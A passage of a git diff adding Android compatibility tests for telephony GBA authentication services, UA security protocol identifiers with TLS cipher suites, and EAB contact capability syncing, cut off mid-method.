+        assertEquals(TestGbaConfig.STATE_BOUND, sConfig.getServiceState());
+
+        waitForMs(sConfig, RELEASE_TEST_MS);
+        assertFalse(TestGbaConfig.STATE_BOUND == sConfig.getServiceState());
+    }
+
+    @Test
+    public void testServiceNoRelease() throws Exception {
+        if (!isFeatureSupported()) {
+            return;
+        }
+
+        int ss = sConfig.getServiceState();
+        boolean isExpected = (ss == TestGbaConfig.STATE_UNKNOWN
+                || ss == TestGbaConfig.STATE_REMOVED
+                || ss == TestGbaConfig.STATE_UNBOUND);
+        assertTrue(isExpected);
+        sConfig.setConfig(false, new byte[16], BTID,
+                TelephonyManager.GBA_FAILURE_REASON_UNKNOWN);
+        assertTrue(setReleaseTime(RELEASE_NEVER));
+
+        runGbaFailCase(TelephonyManager.GBA_FAILURE_REASON_UNKNOWN,
+                android.Manifest.permission.MODIFY_PHONE_STATE);
+        waitForMs(sConfig, 2 * RELEASE_TEST_MS);
+
+        assertEquals(TestGbaConfig.STATE_BOUND, sConfig.getServiceState());
+    }
+
+    public static void waitForMs(Object obj, long ms) {
+        synchronized (obj) {
+            try {
+                obj.wait(ms);
+            } catch (InterruptedException e) {
+                Log.d(TAG, "InterruptedException while waiting: " + e);
+            }
+        }
+    }
+
+    private static boolean setService(String packageName) throws Exception {
+        String result = TelephonyUtils.executeShellCommand(sInstrumentation,
+                COMMAND_UPDATE_PACKAGE + packageName);
+        return "true".equals(result);
+    }
+
+    private static boolean setReleaseTime(int interval) throws Exception {
+        String result = TelephonyUtils.executeShellCommand(sInstrumentation,
+                COMMAND_UPDATE_RELEASE + interval);
+        return "true".equals(result);
+    }
+
+    private static boolean isFeatureSupported() {
+        if (!InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY)) {
+            return false;
+        }
+        int[] activeSubs = InstrumentationRegistry.getContext().getSystemService(
+                SubscriptionManager.class).getActiveSubscriptionIdList();
+        if (activeSubs.length == 0) {
+            return false;
+        }
+        sSubId = activeSubs[0];
+        return true;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaConfig.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaConfig.java
new file mode 100644
index 0000000..33d1a83
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaConfig.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+final class TestGbaConfig {
+
+    static final int STATE_UNKNOWN = 0;
+    static final int STATE_CREATED = 1;
+    static final int STATE_BOUND   = 2;
+    static final int STATE_UNBOUND = 3;
+    static final int STATE_REMOVED = 4;
+
+    private boolean mIsAuthSuccess;
+    private byte[] mGbaKey;
+    private String mBTid;
+    private int mFailReason;
+    private int mServiceState;
+
+    private static TestGbaConfig sInstance;
+
+    private TestGbaConfig() {
+    }
+
+    static TestGbaConfig getInstance() {
+        if (sInstance == null) {
+            sInstance = new TestGbaConfig();
+        }
+        return sInstance;
+    }
+
+    void setConfig(boolean success, byte[] key, String id, int reason) {
+        synchronized (this) {
+            mIsAuthSuccess = success;
+            mGbaKey = key;
+            mBTid = id;
+            mFailReason = reason;
+        }
+    }
+
+    boolean isAuthSuccess() {
+        synchronized (this) {
+            return mIsAuthSuccess;
+        }
+    }
+
+    byte[] getGbaKey() {
+        synchronized (this) {
+            return mGbaKey;
+        }
+    }
+
+    String getBTid() {
+        synchronized (this) {
+            return mBTid;
+        }
+    }
+
+    int getFailReason() {
+        synchronized (this) {
+            return mFailReason;
+        }
+    }
+
+    void setServiceState(int state) {
+        synchronized (this) {
+            mServiceState = state;
+            this.notify();
+        }
+    }
+
+    int getServiceState() {
+        synchronized (this) {
+            return mServiceState;
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaService.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaService.java
new file mode 100644
index 0000000..702f757
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/TestGbaService.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+import android.annotation.NonNull;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.IBinder;
+import android.telephony.gba.GbaService;
+import android.util.Log;
+
+public class TestGbaService extends GbaService {
+
+    private static final String TAG = "TestGbaService";
+
+    private TestGbaConfig mConfig;
+
+    @Override
+    public void onCreate() {
+        Log.i(TAG, "Service created");
+        mConfig = TestGbaConfig.getInstance();
+        mConfig.setServiceState(TestGbaConfig.STATE_CREATED);
+    }
+
+    @Override
+    public void onAuthenticationRequest(int subId, int token, int appType,
+            @NonNull Uri nafUrl, @NonNull byte[] securityProtocol, boolean forceBootStrapping) {
+        boolean isSuccess = mConfig.isAuthSuccess();
+        int reason = mConfig.getFailReason();
+        byte[] key = mConfig.getGbaKey();
+        String btid = mConfig.getBTid();
+
+        if (isSuccess) {
+            reportKeysAvailable(token, key, btid);
+        } else {
+            reportAuthenticationFailure(token, reason);
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        Log.d(TAG, "onBind intent:" + intent);
+        mConfig.setServiceState(TestGbaConfig.STATE_BOUND);
+        return super.onBind(intent);
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        Log.d(TAG, "onUnbind intent:" + intent);
+        mConfig.setServiceState(TestGbaConfig.STATE_UNBOUND);
+        return super.onUnbind(intent);
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(TAG, "onDestroy!");
+        mConfig.setServiceState(TestGbaConfig.STATE_REMOVED);
+        super.onDestroy();
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/UaSecurityProtocolIdentifierTest.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/UaSecurityProtocolIdentifierTest.java
new file mode 100644
index 0000000..ae1b0fd
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/UaSecurityProtocolIdentifierTest.java
@@ -0,0 +1,209 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.telephony.gba.TlsParams;
+import android.telephony.gba.UaSecurityProtocolIdentifier;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Random;
+
+@RunWith(AndroidJUnit4.class)
+public final class UaSecurityProtocolIdentifierTest {
+    private static final String TAG = "UaSecurityProtocolIdentifierTest";
+    private static final int PROTO_SIZE = 5;
+    private static final byte[] PROTO_DEFAULT = {0x00, 0x00, 0x00, 0x00, 0x00};
+    private static final int[] PROTO_3GPP_PLAIN_ID = {
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_SUBSCRIBER_CERTIFICATE,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_MBMS,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_DIGEST_AUTHENTICATION,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_HTTP_BASED_MBMS,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_SIP_BASED_MBMS,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_GENERIC_PUSH_LAYER,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_IMS_MEDIA_PLANE,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_GENERATION_TMPI};
+    private static final byte[][] PROTO_3GPP_PLAIN = {
+        {0x01, 0x00, 0x00, 0x00, 0x00},
+        {0x01, 0x00, 0x00, 0x00, 0x01},
+        {0x01, 0x00, 0x00, 0x00, 0x02},
+        {0x01, 0x00, 0x00, 0x00, 0x03},
+        {0x01, 0x00, 0x00, 0x00, 0x04},
+        {0x01, 0x00, 0x00, 0x00, 0x05},
+        {0x01, 0x00, 0x00, 0x00, 0x06},
+        {0x01, 0x00, 0x00, 0x01, 0x00}};
+    private static final int[] PROTO_3GPP_TLS_ID = {
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_TLS_DEFAULT,
+        UaSecurityProtocolIdentifier.UA_SECURITY_PROTOCOL_3GPP_TLS_BROWSER};
+    private static final byte[][] PROTO_3GPP_TLS = {
+        {0x01, 0x00, 0x01, 0x00, 0x00},
+        {0x01, 0x00, 0x02, 0x00, 0x00}};
+
+    private static final int[] TLS_CS_ID_SUPPORTED = {
+        0x0000, 0x0001, 0x0002, 0x0004, 0x0005, 0x000A, 0x000D, 0x0010, 0x0013, 0x0016, 0x0018,
+        0x001B, 0x002F, 0x0030, 0x0031, 0x0032, 0x0033, 0x0034, 0x0035, 0x0036, 0x0037, 0x0038,
+        0x0039, 0x003A, 0x003B, 0x003C, 0x003D, 0x003E, 0x003F, 0x0040, 0x0067, 0x0068, 0x0069,
+        0x006A, 0x006B, 0x006C, 0x006D, 0x009E, 0x009F, 0x00AA, 0x00AB, 0x1301, 0x1302, 0x1303,
+        0x1304, 0xC02B, 0xC02C, 0xC02F, 0xC030, 0xC09E, 0xC09F, 0xC0A6, 0xC0A7, 0xCCA8, 0xCCA9,
+        0xCCAA, 0xCCAC, 0xCCAD, 0xD001, 0xD002, 0xD005};
+
+    @Test
+    public void testDefaultId() {
+        UaSecurityProtocolIdentifier.Builder builder = new UaSecurityProtocolIdentifier.Builder();
+        UaSecurityProtocolIdentifier sp = builder.build();
+        assertNotNull(sp);
+        assertEquals(UaSecurityProtocolIdentifier.ORG_NONE, sp.getOrg());
+        assertArrayEquals(sp.toByteArray(), PROTO_DEFAULT);
+    }
+
+    @Test
+    public void testValid3gppId() {
+        for (int i = 0; i < PROTO_3GPP_PLAIN_ID.length; i++) {
+            UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+                    PROTO_3GPP_PLAIN_ID[i], null, false);
+            assertNotNull(sp);
+            assertEquals(UaSecurityProtocolIdentifier.ORG_3GPP, sp.getOrg());
+            assertEquals(PROTO_3GPP_PLAIN_ID[i], sp.getProtocol());
+            assertEquals(0, sp.getTlsCipherSuite());
+            assertArrayEquals(sp.toByteArray(), PROTO_3GPP_PLAIN[i]);
+        }
+    }
+
+    @Test
+    public void testValid3gppIdWithTls() {
+        for (int i = 0; i < PROTO_3GPP_TLS_ID.length; i++) {
+            for (int j = 0; j < TLS_CS_ID_SUPPORTED.length; j++) {
+                UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+                        PROTO_3GPP_TLS_ID[i], TLS_CS_ID_SUPPORTED[j], false);
+                assertNotNull(sp);
+                assertEquals(UaSecurityProtocolIdentifier.ORG_3GPP, sp.getOrg());
+                assertEquals(PROTO_3GPP_TLS_ID[i], sp.getProtocol());
+                assertEquals(TLS_CS_ID_SUPPORTED[j], sp.getTlsCipherSuite());
+                byte[] targetData = new byte[PROTO_SIZE];
+                ByteBuffer buf = ByteBuffer.wrap(targetData);
+                buf.put(PROTO_3GPP_TLS[i]);
+                buf.putShort(PROTO_SIZE - 2, (short) TLS_CS_ID_SUPPORTED[j]);
+                assertArrayEquals(targetData, sp.toByteArray());
+            }
+        }
+    }
+
+    @Test
+    public void testInvalidId() {
+        Random rand = new Random();
+        HashSet<Integer> validIds = new HashSet<>();
+        for (int id : PROTO_3GPP_PLAIN_ID) {
+            validIds.add(id);
+        }
+        for (int id : PROTO_3GPP_TLS_ID) {
+            validIds.add(id);
+        }
+        for (int i = 0; i < 200; i++) {
+            int r = rand.nextInt();
+            UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+                    r, TlsParams.TLS_NULL_WITH_NULL_NULL, !validIds.contains(r));
+        }
+    }
+
+    @Test
+    public void testInvalid3gppIdWithTls() {
+        Random rand = new Random();
+        for (int i = 0; i < PROTO_3GPP_TLS_ID.length; i++) {
+            for (int j = 0; j < 200; j++) {
+                int r = rand.nextInt(Integer.MAX_VALUE);
+                int index = Arrays.binarySearch(TLS_CS_ID_SUPPORTED, r);
+                boolean isFailExpected = index < 0;
+                UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+                        PROTO_3GPP_TLS_ID[i], r, isFailExpected);
+            }
+        }
+    }
+
+    @Test
+    public void testParcelUnparcel() {
+        UaSecurityProtocolIdentifier sp = testCreate3GppSpId(
+                PROTO_3GPP_TLS_ID[0], TLS_CS_ID_SUPPORTED[0], false);
+        Parcel parcel = Parcel.obtain();
+        sp.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        UaSecurityProtocolIdentifier sp2 =
+                UaSecurityProtocolIdentifier.CREATOR.createFromParcel(parcel);
+        parcel.recycle();
+        assertTrue(sp.equals(sp2));
+    }
+
+    @Test
+    public void testIsTlsCipherSuiteSupported() {
+        Random rand = new Random();
+
+        for (int i = 0; i < TLS_CS_ID_SUPPORTED.length; i++) {
+            assertTrue(TlsParams.isTlsCipherSuiteSupported(TLS_CS_ID_SUPPORTED[i]));
+        }
+
+        for (int i = 0; i < 100; i++) {
+            int val = rand.nextInt();
+            if (Arrays.binarySearch(TLS_CS_ID_SUPPORTED, val) < 0) {
+                assertFalse(TlsParams.isTlsCipherSuiteSupported(val));
+            }
+        }
+    }
+
+    private UaSecurityProtocolIdentifier testCreate3GppSpId(
+            Integer id, Integer cs, boolean nullExpected) {
+        boolean isFail = false;
+        UaSecurityProtocolIdentifier sp = null;
+        UaSecurityProtocolIdentifier.Builder builder = new UaSecurityProtocolIdentifier.Builder();
+        builder.setOrg(UaSecurityProtocolIdentifier.ORG_3GPP);
+        try {
+            if (id != null) {
+                builder.setProtocol(id);
+            }
+            if (cs != null) {
+                builder.setTlsCipherSuite(cs);
+            }
+            sp = builder.build();
+        } catch (IllegalArgumentException e) {
+        }
+        if (nullExpected) {
+            assertNull(sp);
+        } else {
+            assertNotNull(sp);
+        }
+        return sp;
+    }
+
+    private String getRandomString(Random rand) {
+        int size = rand.nextInt(64);
+        byte[] arr = new byte[size];
+        rand.nextBytes(arr);
+        return new String(arr);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/EabBulkCapabilityUpdaterTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/EabBulkCapabilityUpdaterTest.java
new file mode 100644
index 0000000..50873bc
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/EabBulkCapabilityUpdaterTest.java
@@ -0,0 +1,621 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static android.provider.ContactsContract.CommonDataKinds;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.ContentProviderOperation;
+import android.content.ContentProviderResult;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.os.PersistableBundle;
+import android.provider.ContactsContract;
+import android.telecom.PhoneAccount;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
+import android.telephony.cts.TelephonyUtils;
+import android.telephony.ims.ImsException;
+import android.telephony.ims.ImsManager;
+import android.telephony.ims.ImsRcsManager;
+import android.telephony.ims.RcsContactPresenceTuple;
+import android.telephony.ims.feature.ImsFeature;
+import android.telephony.ims.stub.ImsFeatureConfiguration;
+import android.text.TextUtils;
+import android.util.Log;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Calendar;
+import java.util.GregorianCalendar;
+import java.util.Random;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class EabBulkCapabilityUpdaterTest {
+    private static final String TAG = "EabBulkCapabilityUpdaterTest";
+
+    private static Context mContext;
+    private static ContentResolver mContentResolver;
+    private static int sTestSlot = SubscriptionManager.INVALID_SIM_SLOT_INDEX;
+    private static int sTestSub = SubscriptionManager.INVALID_SUBSCRIPTION_ID;
+    private static ImsServiceConnector sServiceConnector;
+    private static CarrierConfigReceiver sReceiver;
+    private static String sTestPhoneNumber;
+    private static String sUpdatePhoneNumber;
+    private static Uri sTestNumberUri;
+    private static boolean mPrevEabSettings = false;
+    private static boolean sDeviceUceEnabled;
+
+    private static final int POLLING_RETRY_TIMES = 20;
+    private static final int WAITING_IN_MILLI_SEC = 1000;
+    private static final String TEST_CONTACT_NAME = "android_cts_eab_test_contact";
+
+    private static final String COMMAND_BASE = "cmd phone ";
+    private static final String COMMAND_SLOT_IDENTIFIER = "-s ";
+    private static final String COMMAND_GET_EAB_CONTACT = "uce get-eab-contact ";
+    private static final String COMMAND_REMOVE_EAB_CONTACT = "uce remove-eab-contact ";
+    private static final String TEST_SERVICE_DESCRIPTION = "description_test1";
+
+    private CountDownLatch mWaitNotifyResult;
+
+    private static class CarrierConfigReceiver extends BroadcastReceiver {
+        private CountDownLatch mLatch = new CountDownLatch(1);
+        private final int mSubId;
+
+        CarrierConfigReceiver(int subId) {
+            mSubId = subId;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+                int subId = intent.getIntExtra(CarrierConfigManager.EXTRA_SUBSCRIPTION_INDEX, -1);
+                if (mSubId == subId) {
+                    mLatch.countDown();
+                }
+            }
+        }
+
+        void clearQueue() {
+            mLatch = new CountDownLatch(1);
+        }
+
+        void waitForCarrierConfigChanged() throws Exception {
+            mLatch.await(5000, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    @BeforeClass
+    public static void beforeAllTests() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mContentResolver = mContext.getContentResolver();
+
+        sTestPhoneNumber = generateRandomPhoneNumber();
+        sTestNumberUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, sTestPhoneNumber, null);
+
+        sTestSub = ImsUtils.getPreferredActiveSubId();
+        sTestSlot = SubscriptionManager.getSlotIndex(sTestSub);
+
+        sReceiver = new CarrierConfigReceiver(sTestSub);
+
+        mPrevEabSettings = isUserEnableUce();
+
+        sServiceConnector = new ImsServiceConnector(InstrumentationRegistry.getInstrumentation());
+        sServiceConnector.clearAllActiveImsServices(sTestSlot);
+        sDeviceUceEnabled = sServiceConnector.getDeviceUceEnabled();
+        sServiceConnector.setDeviceUceEnabled(true);
+
+        IntentFilter filter = new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
+        // ACTION_CARRIER_CONFIG_CHANGED is sticky, so we will get a callback right away.
+        InstrumentationRegistry.getInstrumentation().getContext()
+                .registerReceiver(sReceiver, filter);
+
+        updateEabCarrierConfig(true);
+        updateEabUserSettings(true);
+
+        connectTestImsService();
+    }
+
+    @AfterClass
+    public static void afterAllTests() throws Exception {
+        // Restore all ImsService configurations that existed before the test.
+        if (sServiceConnector != null) {
+            sServiceConnector.disconnectCarrierImsService();
+            sServiceConnector.disconnectDeviceImsService();
+            sServiceConnector.disconnectServices();
+            sServiceConnector.setDeviceUceEnabled(sDeviceUceEnabled);
+        }
+        sServiceConnector = null;
+
+        if (sReceiver != null) {
+            InstrumentationRegistry.getInstrumentation().getContext().unregisterReceiver(sReceiver);
+            sReceiver = null;
+        }
+
+
+        updateEabUserSettings(mPrevEabSettings);
+        overrideCarrierConfig(null);
+
+        if (sReceiver != null) {
+            InstrumentationRegistry.getInstrumentation().getContext()
+                    .unregisterReceiver(sReceiver);
+        }
+    }
+
+    @Before
+    public void setup() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        if (!SubscriptionManager.isValidSubscriptionId(sTestSub)) {
+            fail("This test requires that there is a SIM in the device!");
+        }
+
+        mWaitNotifyResult = new CountDownLatch(1);
+        fakeNetworkResult(getPidfXmlData());
+    }
+
+    @After
+    public void teardown() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        cleanupTestContactFromContactProvider();
+        cleanupTestContactInEabProvider();
+    }
+
+    @Test
+    public void insertNewContactTest() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        // Insert contact to contact provider
+        ContentProviderResult[] insertResult = insertContactToContactProvider();
+        String contactId = String.valueOf(ContentUris.parseId(insertResult[0].uri));
+        String dataId = String.valueOf(ContentUris.parseId(insertResult[2].uri));
+        // Waiting eab provider insert
+        waitingEabProviderInsertContact(sTestPhoneNumber, POLLING_RETRY_TIMES);
+
+        // Query eab db
+        String contactFromEab = getEabContact(sTestPhoneNumber);
+        //[PHONE_NUMBER], [RAW_CONTACT_ID], [CONTACT_ID], [DATA_ID]
+        String[] eabContactInfo = contactFromEab.split(",");
+        assertTrue(eabContactInfo.length > 0);
+        String eabContactPhoneNumber = eabContactInfo[0];
+        String eabContactId = eabContactInfo[2];
+        String eabDataId = eabContactInfo[3];
+
+        // Verify the test contact has been inserted into EAB provider
+        assertEquals(sTestPhoneNumber, eabContactPhoneNumber);
+        assertEquals(contactId, eabContactId);
+        assertEquals(dataId, eabDataId);
+    }
+
+    @Test
+    public void deletePhoneNumberOfContactTest() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        insertContactToContactProvider();
+        waitingEabProviderInsertContact(sTestPhoneNumber, POLLING_RETRY_TIMES);
+
+        // Delete the phone number in contact provider
+        deletePhoneNumberOfContact();
+        waitingEabProviderDeleteContact(sTestPhoneNumber, POLLING_RETRY_TIMES);
+
+        // Verify the phone number in EAB provider has been removed
+        String contactFromEab = getEabContact(sTestPhoneNumber);
+        assertTrue(TextUtils.isEmpty(contactFromEab));
+    }
+
+    @Test
+    public void updateContactTest() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        insertContactToContactProvider();
+        waitingEabProviderInsertContact(sTestPhoneNumber, POLLING_RETRY_TIMES);
+        sUpdatePhoneNumber = sTestPhoneNumber + "1";
+
+        // Update the phone number in contact provider
+        updatePhoneNumber(sUpdatePhoneNumber);
+        waitingEabProviderInsertContact(sUpdatePhoneNumber, POLLING_RETRY_TIMES);
+
+        // Query eab db
+        String contactFromEab = getEabContact(sUpdatePhoneNumber);
+        //[PHONE_NUMBER], [RAW_CONTACT_ID], [CONTACT_ID], [DATA_ID]
+        String[] eabContactInfo = contactFromEab.split(",");
+        assertTrue(eabContactInfo.length > 0);
+        String eabContactPhoneNumber = eabContactInfo[0];
+
+        // Verify the test contact has been updated
+        assertEquals(sUpdatePhoneNumber, eabContactPhoneNumber);
+    }
+
+    @Test
+    public void deleteContactTest() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        insertContactToContactProvider();
+        waitingEabProviderInsertContact(sTestPhoneNumber, POLLING_RETRY_TIMES);
+
+        deleteTestContact();
+        waitingEabProviderDeleteContact(sTestPhoneNumber, POLLING_RETRY_TIMES);
+
+        // Verify the phone number in EAB provider has been removed
+        String contactFromEab = getEabContact(sTestPhoneNumber);
+        assertTrue(TextUtils.isEmpty(contactFromEab));
+    }
+
+    private void waitingEabProviderInsertContact(
+            String phoneNumber, int retryTimes) throws Exception {
+        mWaitNotifyResult.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+
+        String contactFromEab;
+        do {
+            contactFromEab = getEabContact(phoneNumber);
+            Thread.sleep(WAITING_IN_MILLI_SEC);
+            retryTimes--;
+        } while (retryTimes > 0 && TextUtils.isEmpty(contactFromEab));
+        mWaitNotifyResult = new CountDownLatch(1);
+    }
+
+    private void waitingEabProviderDeleteContact(
+            String phoneNumber, int retryTimes) throws Exception {
+        String contactFromEab;
+        do {
+            contactFromEab = getEabContact(phoneNumber);
+            Thread.sleep(WAITING_IN_MILLI_SEC);
+            retryTimes--;
+        } while (retryTimes > 0 && !TextUtils.isEmpty(contactFromEab));
+    }
+
+    private void updatePhoneNumber(String newNumber) {
+        Cursor cursor = mContentResolver.query(ContactsContract.Contacts.CONTENT_URI,
+                null,
+                ContactsContract.Contacts.DISPLAY_NAME_PRIMARY + "=?",
+                new String[]{TEST_CONTACT_NAME},
+                null);
+        ContentValues updateContentValues = new ContentValues();
+        updateContentValues.put(CommonDataKinds.Phone.DATA, newNumber);
+        while (cursor.moveToNext()) {
+            String contactId = cursor.getString(cursor.getColumnIndex(
+                    ContactsContract.Contacts.NAME_RAW_CONTACT_ID));
+            mContentResolver.update(ContactsContract.Data.CONTENT_URI,
+                    updateContentValues,
+                    ContactsContract.Data.RAW_CONTACT_ID + "=? AND "
+                            + ContactsContract.Data.MIMETYPE + "='"
+                            + CommonDataKinds.Phone.CONTENT_ITEM_TYPE + "'",
+                    new String[]{contactId});
+        }
+        cursor.close();
+    }
+
+    private String getEabContact(String phoneNum) throws Exception {
+        StringBuilder cmdBuilder = new StringBuilder();
+        cmdBuilder.append(COMMAND_BASE).append(COMMAND_GET_EAB_CONTACT)
+                .append(" ").append(phoneNum);
+        return TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                cmdBuilder.toString());
+    }
+
+    private void deleteTestContact() {
+        Uri uri = ContactsContract.RawContacts.CONTENT_URI.buildUpon().appendQueryParameter(
+                ContactsContract.CALLER_IS_SYNCADAPTER, "true").build();
+
+        ArrayList<ContentProviderOperation> operationList = new ArrayList<>();
+        operationList.add(ContentProviderOperation.newDelete(uri)
+                .withSelection(ContactsContract.RawContacts.DISPLAY_NAME_PRIMARY + "=?",
+                        new String[]{TEST_CONTACT_NAME}).build());
+        try {
+            mContentResolver.applyBatch(ContactsContract.AUTHORITY, operationList);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    private ContentProviderResult[] insertContactToContactProvider() {
+        ContentProviderResult[] result = null;
+
+        ArrayList<ContentProviderOperation> contactInfoList = new ArrayList<>();
+        contactInfoList.add(
+                ContentProviderOperation.newInsert(ContactsContract.RawContacts.CONTENT_URI)
+                        .withValue(ContactsContract.RawContacts.ACCOUNT_NAME, null)
+                        .withValue(ContactsContract.RawContacts.ACCOUNT_TYPE, null)
+                        .build());
+
+        // Add contact name
+        contactInfoList.add(ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI)
+                .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0)
+                .withValue(ContactsContract.Data.MIMETYPE,
+                        CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
+                .withValue(CommonDataKinds.StructuredName.DISPLAY_NAME, TEST_CONTACT_NAME)
+                .build());
+
+        // Add phone number
+        contactInfoList.add(ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI)
+                .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0)
+                .withValue(ContactsContract.Data.MIMETYPE, CommonDataKinds.Phone.CONTENT_ITEM_TYPE)
+                .withValue(CommonDataKinds.Phone.NUMBER, sTestPhoneNumber)
